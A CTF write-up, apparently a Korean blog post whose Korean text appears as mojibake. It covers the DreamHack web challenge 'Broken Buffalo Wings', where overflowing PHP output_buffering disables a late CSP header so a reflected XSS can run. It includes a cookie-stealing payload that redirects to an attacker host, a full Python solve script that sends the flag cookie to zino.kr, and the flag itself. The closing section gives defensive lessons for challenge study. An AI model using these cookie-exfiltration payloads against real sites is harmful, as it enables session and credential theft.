[๐ฅ Bronze 4] CSP๋ฅผ ๋ซ์ง ์๊ณ , ์ถ๋ ฅ์ ๋์ณ ๋ฌด๋๋จ๋ฆฌ๋ค โ DreamHack Broken Buffalo Wings ํ์ด โ ZINO2026-07-13ยท1๋ถ ์ฝ๊ธฐยท
๋ฐ์ XSS์ CSP๊ฐ ๊ฑธ๋ ค ์์ง๋ง, CSP๋ฅผ ์ค์ ํ๋ header()๊ฐ ๋ณธ๋ฌธ์ echoํ "๋ค"์ ์๋ค. ์ฌ๊ท str_replace๊ฐ ๋ฐ๋ณต๋ง๋ค ์ถ๋ ฅ์ ๋ฑ๋ ๊ฑธ ์ด์ฉํด PHP output_buffering์ ๋๊ธฐ๋ฉด, ํค๋๊ฐ ๋จผ์ ๋๊ฐ๋ฒ๋ ค CSP header()๊ฐ ์คํจํ๋ค. CSP๊ฐ ์ฌ๋ผ์ง ํ์ด์ง์์ XSS๋ก ์ฟ ํค๋ฅผ ์ ์ถํ๋ค.
๋ฌธ์ : DreamHack โ Broken Buffalo Wings
๋ถ๋ฅ: Web
๋์ด๋: ๐ฅ Bronze 4
FLAG: DH{454e0e5672e6ae1724ad0701473768520f21b1fb3364d0ffb13dc5497027cb34}
์์ ํ๊ธฐ ํ์ด์ง์ ๋๊ธ์ ๋ฐ์ํ๋ ๋ฐ์ XSS๋ค. ๋ด์ด flag๋ฅผ ์ฟ ํค์ ๋ด๊ณ ์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ URL์ ๋ฐฉ๋ฌธํ๋, XSS๋ก document.cookie๋ฅผ ์ฝ์ด ๋นผ๋ด๋ฉด ๋๋ค. ๋ฌธ์ ๋ CSP๋ค. ๊ทธ๋ฐ๋ฐ ์ด CSP๋ ์ด์ํ ์๋ฆฌ์ ๊ฑธ๋ ค ์๋ค โ ๋ณธ๋ฌธ์ ๋ค ์ถ๋ ฅํ "๋ค"์ ์ค์ ๋๋ค. ์ด ํ์ด๋ฐ ๊ฒฐํจ์ด "Broken"์ ์ ์ฒด๋ค.
index.php โ Buffalo Wings ํ๊ธฐ + ๋๊ธ(comment) ํผ
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|
| ๋ฌธ์ ๋ช
| Broken Buffalo Wings |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Web (PHP + nginx + Selenium ๋ด) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | index.php, report.php, bot.py / http://host3.dreamhack.games:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | output_buffering ์ด๊ณผ๋ก CSP header()๋ฅผ ๋ฌด๋ ฅํํ XSS |
report.php์ ๊ฒฝ๋ก๋ฅผ ์ ์ถํ๋ฉด ๋ด(headless chrome)์ด flag ์ฟ ํค๋ฅผ ๋ฌ๊ณ http://127.0.0.1:8000/<๊ฒฝ๋ก>๋ฅผ ๋ฐฉ๋ฌธํ๋ค. ์ฐ๋ฆฌ๋ ๋ฅผ ์ ์ถํด ๋ด์ ์ฟ ํค๋ฅผ ์ฐ๋ฆฌ ์๋ฒ๋ก ํ๋ฆฌ๋ฉด ๋๋ค.
์ด ๊ธ์ด ๋์์ด ๋๋์?
/?comment=<XSS>
report.php โ ๊ด๋ฆฌ์(๋ด)๊ฐ ํ์ธํ ๊ฒฝ๋ก๋ฅผ ์ ์ถ
๐งฉ ๋ฐฐ๊ฒฝ โ CSP, output_buffering, ๊ทธ๋ฆฌ๊ณ header() ํ์ด๋ฐ
PHP์์ header()๋ ๋ณธ๋ฌธ(์ถ๋ ฅ)์ด ๋๊ฐ๊ธฐ ์ ์ ํธ์ถํด์ผ ํ๋ค. ์ฒซ ๋ฐ์ดํธ๊ฐ ํด๋ผ์ด์ธํธ๋ก ๋๊ฐ๋ ์๊ฐ ์๋ต ํค๋๊ฐ ํ์ ๋๊ธฐ ๋๋ฌธ์ด๋ค. ๊ทธ๋์ ์ด๋ฏธ echo๋ก ๋ญ๊ฐ ์ถ๋ ฅํ ๋ค header()๋ฅผ ๋ถ๋ฅด๋ฉด "headers already sent" ๊ฒฝ๊ณ ์ ํจ๊ป ๊ทธ ํค๋๋ ๋ฌด์๋๋ค.
์ฌ๊ธฐ์ output_buffering์ด ๋ผ์ด๋ ๋ค. PHP๋ ์ถ๋ ฅ์ ๋ฐ๋ก ๋ด๋ณด๋ด์ง ์๊ณ ๋ฒํผ(๊ธฐ๋ณธ ์ KB)์ ๋ชจ์๋ค. ๋ฒํผ๊ฐ ์ฐจ๊ธฐ ์ ์๋ ์์ง ํค๋๋ฅผ ๋ฐ๊ฟ ์ ์๋ค. ํ์ง๋ง ์ถ๋ ฅ์ด ๋ฒํผ ์ฉ๋์ ๋์ผ๋ฉด ๋ฒํผ๊ฐ flush๋๊ณ , ๊ทธ ์๊ฐ ํค๋๊ฐ ํ์ ๋๋ค โ ๊ทธ ๋ค์ header()๋ ์คํจํ๋ค.
์ด ๋ฌธ์ ์ CSP๋ default-src 'self'; script-src *.bootstrapcdn.com 'nonce-โฆ' ์ธ๋ฐ, ์ด๊ฑธ ๊ฑฐ๋ header()๊ฐ ๋๊ธ์ echoํ ๋ค์ ์๋ค. ๊ทธ๋ฌ๋ ์ถ๋ ฅ์ ๋ฒํผ๋ณด๋ค ํฌ๊ฒ ๋ง๋ค๋ฉด CSP๊ฐ ์์ ์ ๊ฑธ๋ฆฐ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ index.php์ ๋ ๋ถ๊ธฐ
๋๊ธ ์ฒ๋ฆฌ ๋ก์ง์ ์ด๋ ๋ค.
if (strlen($_GET['comment']) > 500) { echo 'Too Long'; die(); }
if (isset($_GET['comment'])) {
$comment = $_GET['comment'];
if (strpos($comment, 'lol') !== false) {
$prefix = 'Dreame : Looks delicious ~~ But I like pizza more ';
echo $prefix . $comment; // (A) 'lol' ํฌํจ ์ RAW echo (ํํฐ ์์!)
}
if (strpos($comment, 'script') !== false) {
while (strpos($untrusted_comment, 'script') !== false) {
$untrusted_comment = str_replace('script', '', $untrusted_comment);
echo $alert; echo $untrusted_comment; // (B) ๋ฐ๋ณต๋ง๋ค ์ถ๋ ฅ
}
}
}
$nonce = base64_encode(random_bytes(20));
$csp_header = "... script-src *.bootstrapcdn.com 'nonce-" . $nonce . "';";
header($csp_header); // (C) CSP๋ ๋งจ ๋ง์ง๋ง
์ธ ๊ฐ์ง๊ฐ ๋ณด์ธ๋ค. (A) 'lol'์ด ๋ค์ด ์์ผ๋ฉด ๋๊ธ์ ๊ทธ๋๋ก ์ถ๋ ฅํ๋ค โ ์ฌ๊ธฐ๊ฐ XSS ์ฝ์
์ง์ ์ด๋ค. (B) 'script'๊ฐ ๋ค์ด ์์ผ๋ฉด while ๋ฃจํ๊ฐ str_replace๋ก 'script'๋ฅผ ์ง์ฐ๋ฉฐ ๋ฐ๋ณต๋ง๋ค ์ถ๋ ฅํ๋ค. (C) CSP๋ ์ด ๋ชจ๋ echo ๋ค์ ๊ฑธ๋ฆฐ๋ค.
'lol' ๋๊ธ์ด ์ค์ ๋ก raw๋ก ๋ฐ์๋๋์ง ํ์ธํด ๋ณด๋ฉด ๊ทธ๋๋ก ๋ฟ๋ ค์ง๋ค.
?comment=lol<h2>... โ comment๊ฐ ํํฐ ์์ด raw HTML๋ก ๋ฐ์๋จ
๐ ์ฝ์ง โ CSP๋ฅผ ์ ๋ฉด์ผ๋ก๋ ๋ชป ๋ซ๋๋ค
โถ๐ ์ฝ์ง โ script-src์ unsafe-inline์ด ์์ด ์ธ๋ผ์ธ XSS๊ฐ ๋งํ๋ค
'lol'๋ก raw HTML์ ๋ฃ์ ์ ์์ผ๋ <script>alert(1)</script>๋ฅผ ๋ฃ์ผ๋ฉด ๋์ง ์์๊น โ ํ์ง๋ง CSP script-src *.bootstrapcdn.com 'nonce-โฆ'๊ฐ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋๋ค. 'unsafe-inline'์ด ์๊ณ nonce๋ ์์ฒญ๋ง๋ค ์๋ก ์๊ฒจ ์์ธกํ ์ ์๋ค. onerror ๊ฐ์ ์ธ๋ผ์ธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ๋ง์ฐฌ๊ฐ์ง๋ก ๋งํ๋ค.
script-src๊ฐ ํ์ฉํ๋ ๊ฑด *.bootstrapcdn.com(์ฐ๋ฆฌ ์ฝ๋ ์๋)๊ณผ nonce(๋ชจ๋ฆ)๋ฟ์ด๋ค. CSP๋ฅผ ์ ๋ฉด์ผ๋ก ๋ซ์ ๊ธธ์ ์์ด ๋ณด์๋ค.
๊ทธ๋ฐ๋ฐ (B)์ while ๋ฃจํ๊ฐ ๋์ ๋ค์ด์๋ค. ์ด๊ฑด ์ถ๋ ฅ์ ์ผ๋ง๋ ์ง ๋ถํ๋ฆด ์ ์๋ ์ฅ์น๋ค. CSP header()๊ฐ ์ด ์ถ๋ ฅ ๋ค์ ์๋ค๋ ์ฌ์ค๊ณผ ํฉ์น๋ฉด โ CSP๋ฅผ ๋ซ๋ ๊ฒ ์๋๋ผ, ์ถ๋ ฅ์ ๋์ณ์ CSP๊ฐ ๊ฑธ๋ฆฌ์ง ๋ชปํ๊ฒ ๋ง๋ค๋ฉด ๋๋ค.
์ ๋ฆฌํ๋ฉด CSP๋ฅผ ์ฐํํ๋ ๊ฒ ์๋๋ผ, ์ ์ด์ CSP๊ฐ ์ค์ ๋์ง ๋ชปํ๊ฒ ๋ง๋๋ ๊ฒ์ด๋ค. ์ด์ ๋ while ๋ฃจํ๋ค.
๐ฃ ํต์ฌ โ ์ถ๋ ฅ์ ๋์ณ CSP๋ฅผ ๋ฌด๋๋จ๋ฆฐ๋ค
while ๋ฃจํ๋ฅผ ์ค๋ ๋๋ฆฌ๋ ค๋ฉด 'script'๊ฐ ์ง์๋ ๋ค์ ์๊ธฐ๊ฒ ๋ง๋ ๋ค. scr + script + ipt๋ ๊ฐ์ด๋ฐ 'script'๋ฅผ ์ง์ฐ๋ฉด scr+ipt = script๊ฐ ๋์ด ๋ ๋จ๋๋ค. ์ด๊ฑธ K๋ฒ ์ค์ฒฉํ๋ฉด ๋ฃจํ๊ฐ K๋ฒ ๋๊ณ , ๋งค๋ฒ ๋จ์ ๋ฌธ์์ด์ ํต์งธ๋ก ์ถ๋ ฅํ๋ ์ถ๋ ฅ์ด ๋๋ฉ์ด์ฒ๋ผ ์ปค์ง๋ค.
index.php ์คํ ์์์ ์ค์ฒฉ script๋ก CSP๋ฅผ ๊นจ๋ ํ๋ฆ
์ค์ฒฉ ๊น์ด๋ฅผ ๋๋ ค๊ฐ๋ฉฐ CSP ํค๋๊ฐ ์ธ์ ์ฌ๋ผ์ง๋์ง ์ฌ๋ณด๋ฉด ๊ฒฝ๊ณ๊ฐ ๋๋ ทํ๋ค. ์ถ๋ ฅ์ด ์์ ๋ CSP๊ฐ ๋ถ์ง๋ง, ์ปค์ง๋ฉด ํค๋๊ฐ ๋จผ์ ๋๊ฐ๋ฒ๋ ค CSP๊ฐ ์ฌ๋ผ์ง๋ค.
์ค์ฒฉ ๊น์ด vs ์๋ต ํฌ๊ธฐ vs CSP ํค๋ โ ์ถ๋ ฅ์ด ์ปค์ง๋ฉด CSP๊ฐ ์ฌ๋ผ์ง๋ค(Broken)
CSP๊ฐ ์ฌ๋ผ์ง ํ์ด์ง์์ 'lol'๋ก ์ฝ์
ํ <script>๋ ๊ทธ๋ฅ ์คํ๋๋ค. ๊ฐ๋ฐ์๋๊ตฌ ์ฝ์์์, ์ฃผ์
ํ ์คํฌ๋ฆฝํธ๊ฐ document.cookie๋ฅผ ์ฝ์ด ์ฐ๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
DevTools ์ฝ์ โ ์ฃผ์
ํ <script>๊ฐ ์คํ๋ผ document.cookie๋ฅผ ์ถ๋ ฅ (CSP ์์)
๐ฏ ์ต์คํ๋ก์ โ navigation์ผ๋ก ์ฟ ํค๋ฅผ ํ๋ฆฐ๋ค
์ด์ ์ฟ ํค๋ฅผ ์ฐ๋ฆฌ ์ชฝ์ผ๋ก ๋นผ๋ธ๋ค. CSP๊ฐ ์์ด์ก์ง๋ง, ์ฌ์ ํ ์ฃผ์ํ ๊ฒ ์๋ค โ fetch๋ <img>๋ก ์ธ๋ถ์ ๋ณด๋ด๋ ค ํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(์ฌ๊ธฐ์ zino.kr) ์๋จ์ WAF/CORP์ ๋งํ ์ ์๋ค. ๋ฐ๋ฉด top-level navigation(location = url)์ ๊ทธ๋ฐ ์ ์ฝ์ ๋ฐ์ง ์๊ณ ๊ทธ๋๋ก ์์ฒญ์ด ๋๊ฐ๋ค. ๊ทธ๋์ ์ฟ ํค๋ฅผ ๋ถ์ธ URL๋ก ๋ด์ ์ด๋์ํค๊ณ , ๊ณต๊ฒฉ์ nginx ์ ๊ทผ ๋ก๊ทธ์์ ํ์ํ๋ค.
ํ์ด๋ก๋๋ ์ด๋ ๋ค.
lol<script>location="https://attacker/MARK?f="+encodeURIComponent(document.cookie)</script>
+ (scr+script+ipt) ์ค์ฒฉ ร 52 โ while ๋ฃจํ ์ถ๋ ฅ ํญ์ฆ์ผ๋ก CSP ๋ฌด๋ ฅํ
'lol'์ raw echo ๋ถ๊ธฐ๋ฅผ ํ์ <script>๋ฅผ ๊ทธ๋๋ก ์ฌ๊ณ , ์ค์ฒฉ script๋ while ๋ฃจํ๋ฅผ ๋๋ ค ์ถ๋ ฅ์ ๋ฒํผ ๋ฐ์ผ๋ก ๋๊ธด๋ค. ์ด ๊ฒฝ๋ก๋ฅผ report.php์ ์ ์ถํ๋ฉด ๋ด์ด flag ์ฟ ํค๋ฅผ ๋ฌ๊ณ ๋ฐฉ๋ฌธํ๊ณ , location=์ผ๋ก ๊ณต๊ฒฉ์ ์๋ฒ์ ์ฟ ํค๊ฐ ์ค๋ ค ๋๊ฐ๋ค.
๊ณต๊ฒฉ์ nginx ๋ก๊ทธ โ ๋ด์ด navigation์ผ๋ก ์ ์ถํ flag ์ฟ ํค
๐ Full Exploit
ํ์ด๋ก๋ ์กฐ๋ฆฝ โ report.php ์ ์ถ โ ๊ณต๊ฒฉ์ ๋ก๊ทธ ํด๋ง์ ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค.
import requests, urllib.parse, time, subprocess, re
B = "http://host3.dreamhack.games:<port>"
ATTACKER = "zino.kr"; MARK = "BWWINGS7X"
def nest(k): # ์ง์๋ ์ฌ์กฐ๋ฆฝ๋๋ ์ค์ฒฉ script โ while ๋ฃจํ๋ฅผ k๋ฒ
s = 'script'
for _ in range(k - 1):
s = 'scr' + s + 'ipt'
return s
# 'lol'(raw ๋ฐ์) + ์คํ ํ์ด๋ก๋ + ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ฉ ์ค์ฒฉ script
xss = (f'lol<script>location="https://{ATTACKER}/{MARK}?f="'
f'+encodeURIComponent(document.cookie)</script>' + nest(52))
path = "/?comment=" + urllib.parse.quote(xss)
requests.post(B + "/report.php", data={"path": path}, timeout=30) # ๋ด ๋ฐฉ๋ฌธ ์ ๋
for _ in range(8):
time.sleep(2)
log = subprocess.run(["sudo", "-n", "grep", MARK, "/var/log/nginx/zino.access.log"],
capture_output=True, text=True).stdout
m = re.search(r"f=([^\s\"]+)", log)
if m:
flag = re.search(r"DH\{[^}]+\}", urllib.parse.unquote(m.group(1)))
print("[+] FLAG:", flag.group(0)); break
์คํํ๋ฉด ๋ด์ด ์ ์ถํ flag๊ฐ ๋ก๊ทธ์์ ํ์๋๋ค.
solve.py ์คํ โ ๋ด ๋ฐฉ๋ฌธ ์ ๋ ํ ๋ก๊ทธ์์ flag ํ์
[+] FLAG: DH{454e0e5672e6ae1724ad0701473768520f21b1fb3364d0ffb13dc5497027cb34}
๐ ๊ฒฐ๋ก
๋ณด์ ํค๋๋ ์ถ๋ ฅ๋ณด๋ค ๋จผ์ ๋ณด๋ด์ผ ํ๋ค.
CSPยทHSTS ๊ฐ์ ํค๋๋ ์ด๋ค ์ถ๋ ฅ๋ณด๋ค๋ ์์์ ์ค์ ํด์ผ ํ๋ค. ์ด ๋ฌธ์ ๋ CSP๋ฅผ ์ด์ดํ ์ง ๋๊ณ ๋ header()๋ฅผ ๋ณธ๋ฌธ echo ๋ค์ ๋๋ ๋ฐ๋์, ์ถ๋ ฅ๋ง ๋ถํ๋ฆฌ๋ฉด ํค๋ ์์ฒด๊ฐ ๋ฌด์ฐ๋๋ค. output_buffering์ ๊ธฐ๋๋ ๊ฒ๋ ์ํํ๋ค โ ์ถ๋ ฅ์ด ๋ฒํผ๋ฅผ ๋๋ ์๊ฐ ๋ฌด๋์ง๋ค. ํค๋๋ ์ฝ๋ ์ต์๋จ(ํน์ ์ถ๋ ฅ ์ด์ )์์ ํ์ ํ๋ ๊ฒ ์์น์ด๋ค.
์
๋ ฅ์ ๋ฐ์ํ ๋ ์ด์ค์ผ์ดํ๊ฐ ๋จผ์ ๋ค.
'lol' ๋ถ๊ธฐ๊ฐ ์ฌ์ฉ์ ์
๋ ฅ์ ์๋ฌด ์ฒ๋ฆฌ ์์ด ๊ทธ๋๋ก ๋ฟ๋ฆฐ ๊ฒ XSS์ ์ถ๋ฐ์ ์ด์๋ค. htmlspecialchars ๊ฐ์ ์ด์ค์ผ์ดํ๊ฐ ์์๋ค๋ฉด <script> ์์ฒด๊ฐ ์ฌ์ด์ง์ง ๋ชปํ๋ค. ๋ธ๋๋ฆฌ์คํธ(str_replace('script',''))๋ ๊ทผ๋ณธ ํด๊ฒฐ์ด ์๋๋ค โ ์ฌ๊ท๋ก ์ฌ์กฐ๋ฆฝ๋๊ฑฐ๋(์ฌ๊ธฐ์ ์คํ๋ ค ์ถ๋ ฅ ์ฆํญ์ ์
์ฉ๋จ), ๋ค๋ฅธ ๋ฒกํฐ๋ก ์ฐํ๋๋ค.
์ฐจ๋จํด๋ ์์ด ๋๊ฐ๋ ๊ฒฝ๋ก๊ฐ ์๋ค.
fetchยทimg๋ฅผ ๋ง์๋ top-level navigation์ ๋จ์ ์์๋ค. ์ ์ถ์ ๋ง์ผ๋ ค๋ฉด CSP์ navigate-to๋ ์ฟ ํค์ httpOnly์ฒ๋ผ, "์ฝ์ง ๋ชปํ๊ฒ"์ "๋ด๋ณด๋ด์ง ๋ชปํ๊ฒ"๋ฅผ ๊ฒน๊ฒน์ด ์ธ์์ผ ํ๋ค. ํ๋๋ง ๋ซ๋ ค๋ flag๋ ๋๊ฐ๋ค.
+5
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ